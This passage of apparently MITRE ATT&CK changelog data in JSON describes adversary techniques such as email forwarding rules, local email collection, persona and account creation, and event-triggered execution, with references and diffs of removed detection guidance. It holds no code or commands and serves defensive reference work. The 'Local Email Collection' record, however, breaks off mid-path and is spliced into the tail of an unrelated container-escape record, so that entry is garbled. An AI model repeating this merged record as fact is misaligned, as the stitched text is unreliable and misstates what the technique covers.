Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1114/003",
"external_id": "T1114.003"
},
{
"source_name": "Mac Forwarding Rules",
"description": "Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.",
"url": "https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac"
},
{
"source_name": "Pfammatter - Hidden Inbox Rules",
"description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.",
"url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"
},
{
"source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2",
"description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.",
"url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"
},
{
"source_name": "Microsoft Mail Flow Rules 2023",
"description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.",
"url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"
},
{
"source_name": "US-CERT TA18-068A 2018",
"description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Microsoft Security",
"Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)",
"Liran Ravich, CardinalOps",
"Arun Seelagan, CISA"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Office Suite",
"Windows"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Application Log: Application Log Content\", \"Cloud Service: Cloud Service Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.920000+00:00\", \"old_value\": \"2025-04-15 22:26:55.201000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\\n\\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\\n-\\n-Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1041: Encrypt Sensitive Information",
"M1042: Disable or Remove Feature or Program",
"M1047: Audit",
"M1060: Out-of-Band Communications Channel"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)",
"DS0025: Cloud Service (Cloud Service Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0576: Email Forwarding Rule Abuse Detection Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-19 18:46:06.098000+00:00",
"modified": "2025-10-24 17:48:29.669000+00:00",
"name": "Local Email Collection",
"description": "Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user\u2019s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\mount (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.\"}}}",
"previous_version": "1.6",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1038: Execution Prevention",
"M1042: Disable or Remove Feature or Program",
"M1048: Application Isolation and Sandboxing",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0008: Kernel (Kernel Module Load)",
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0032: Container (Container Creation)",
"DS0034: Volume (Volume Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0219: Detection Strategy for Escape to Host"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 01:05:42.216000+00:00",
"modified": "2025-10-24 17:49:24.456000+00:00",
"name": "Establish Accounts",
"description": "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for malicious purposes.(Citation: Free Trial PurpleUrchin)\n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1585",
"external_id": "T1585"
},
{
"source_name": "Free Trial PurpleUrchin",
"description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
"url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
},
{
"source_name": "NEWSCASTER2014",
"description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
"url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
},
{
"source_name": "Mandiant APT1",
"description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
},
{
"source_name": "BlackHatRobinSage",
"description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
"url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Persona: Social Media\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.456000+00:00\", \"old_value\": \"2025-04-15 22:28:26.144000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0021: Persona (Social Media)",
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0873: Detection of Establish Accounts"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--926d8cfd-1d0d-4da2-ab49-3ca10ec3f3b5",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2022-05-27 14:06:05.130000+00:00",
"modified": "2025-10-24 17:49:06.502000+00:00",
"name": "Cloud Accounts",
"description": "Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nCreating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002) to register with the cloud provider. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1585/003",
"external_id": "T1585.003"
},
{
"source_name": "Awake Security C2 Cloud",
"description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.",
"url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Francesco Bigarella"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.502000+00:00\", \"old_value\": \"2025-04-15 22:01:31.837000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0846: Detection of Cloud Accounts"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 01:09:53.217000+00:00",
"modified": "2025-10-24 17:48:52.378000+00:00",
"name": "Email Accounts",
"description": "Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Establishing email accounts may also allow adversaries to abuse free services \u2013 such as trial periods \u2013 to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for follow-on purposes.(Citation: Free Trial PurpleUrchin)\n\nAdversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1585/002",
"external_id": "T1585.002"
},
{
"source_name": "Trend Micro R980 2016",
"description": "Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 2020.",
"url": "https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/"
},
{
"source_name": "Free Trial PurpleUrchin",
"description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
"url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
},
{
"source_name": "Mandiant APT1",
"description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:52.378000+00:00\", \"old_value\": \"2025-04-15 22:25:33.493000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0835: Detection of Email Accounts"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 01:08:41.124000+00:00",
"modified": "2025-10-24 17:49:14.364000+00:00",
"name": "Social Media Accounts",
"description": "Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. \n\nOnce a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1585/001",
"external_id": "T1585.001"
},
{
"source_name": "NEWSCASTER2014",
"description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
"url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
},
{
"source_name": "BlackHatRobinSage",
"description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
"url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Persona: Social Media\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.364000+00:00\", \"old_value\": \"2025-04-15 23:09:01.225000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0021: Persona (Social Media)",
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0851: Detection of Social Media Accounts"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-22 21:04:23.285000+00:00",
"modified": "2025-10-24 17:49:15.866000+00:00",
"name": "Event Triggered Execution",
"description": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546",
"external_id": "T1546"
},
{
"source_name": "FireEye WMI 2015",
"description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
"url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
},
{
"source_name": "Microsoft DART Case Report 001",
"description": "Berk Veral. (2020, March 9). Real-life cybercrime stories from DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022.",
"url": "https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team"
},
{
"source_name": "amnesia malware",
"description": "Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.",
"url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/"
},
{
"source_name": "Backdooring an AWS account",
"description": "Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022.",
"url": "https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9"
},
{
"source_name": "Varonis Power Automate Data Exfiltration",
"description": "Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.",
"url": "https://www.varonis.com/blog/power-automate-data-exfiltration"
},
{
"source_name": "Malware Persistence on OS X",
"description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"SaaS",
"IaaS",
"Office Suite"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"WMI: WMI Creation\", \"File: File Metadata\", \"File: File Creation\", \"File: File Modification\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Cloud Service: Cloud Service Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.866000+00:00\", \"old_value\": \"2025-04-15 22:28:46.740000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \\n\\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \\n\\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \\n\\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \\n\\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. \", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \\n-\\n-These mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \\n-\\n-Monitor for processes, API/System calls, and other common ways of manipulating these event repositories. \\n-\\n-Tools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \\n-\\n-Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. \"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0005: WMI (WMI Creation)",
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Metadata)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Modification)",
"DS0025: Cloud Service (Cloud Service Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0010: Behavioral Detection of Event Triggered Execution Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 14:32:40.315000+00:00",
"modified": "2025-10-24 17:48:56.964000+00:00",
"name": "Accessibility Features",
